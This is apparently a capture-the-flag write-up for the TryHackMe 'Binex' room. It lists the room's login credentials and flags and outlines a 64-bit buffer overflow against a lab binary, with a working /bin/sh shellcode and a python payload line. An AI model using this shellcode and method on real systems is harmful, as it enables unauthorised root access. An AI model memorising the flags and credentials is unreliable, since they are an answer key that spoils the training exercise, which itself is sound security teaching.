Binex

222

Gain initial access

Start Machine

222

Enumerate the machine and get an interactive shell. Exploit an SUID bit file, use GNU debugger to take advantage of a buffer overflow and gain root access by PATH manipulation.

There are more points up for grabs in this room.

Answer the questions below

What are the login credential for initial access.

Answer format should be in username:password

Hint 1: RID range 1000-1003 Hint 2: The longest username has the unsecure password.

tryhackme:thebest

SUID :: Binary 1

Read the flag.txt from des's home directory.

Answer the questions below

[+100 Points] What is the contents of /home/des/flag.txt?

File permission is all you need.. Setuid...

THM{exploit_the_SUID}

Buffer Overflow :: Binary 2

Read the flag.txt from kel's home directory.

If you are stuck, here are the hints for the exploit.

Hint 1: Step to overflow 64-bits buffer

Step 1: Generate a pattern, copy and paste this as input to the binary (use pattern_create.rb from

Metasploit)

**

Step 2: Read and copy the value from register RBP for the offset.

Step 3: Calculate the offset. (use pattern_offset.rb from Metasploit)

Step 4: Try control the register RIP with the following payload

**

Junk*(offset value) + 8 bytes of dummy

Step 5: Read the stack or register RSP to find a suitable return address.

**

Step 6: The general payload should be like below

**

Nop + shellcode + Junks + return address

Hint 2: Working shellcode

\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05

Hint 3: Running the payload with the binary

(python -c "print('\x90'*(fill in the number) + (shellcode) + 'A'*(fill in the number)

+(return address))";cat) | ./bof64

For your information, the Gnu debugger or gdb is installed with the machine. Happy hunting!

Answer the questions below

[+50 Points] What is the contents of /home/kel/flag.txt?

THM{buffer_overflow_in_64_bit}

PATH Manipulation :: Binary 3

Get the root flag from the root directory. This will require you to understand how the PATH variable works.

Answer the questions below

[+250 Points] What is the contents of /root/root.txt?

The true path leads you to the flag.

THM{SUID_binary_and_PATH_exploit}

[[Jack]]

PreviousNoNameCTFNextJack

Last updated

Was this helpful?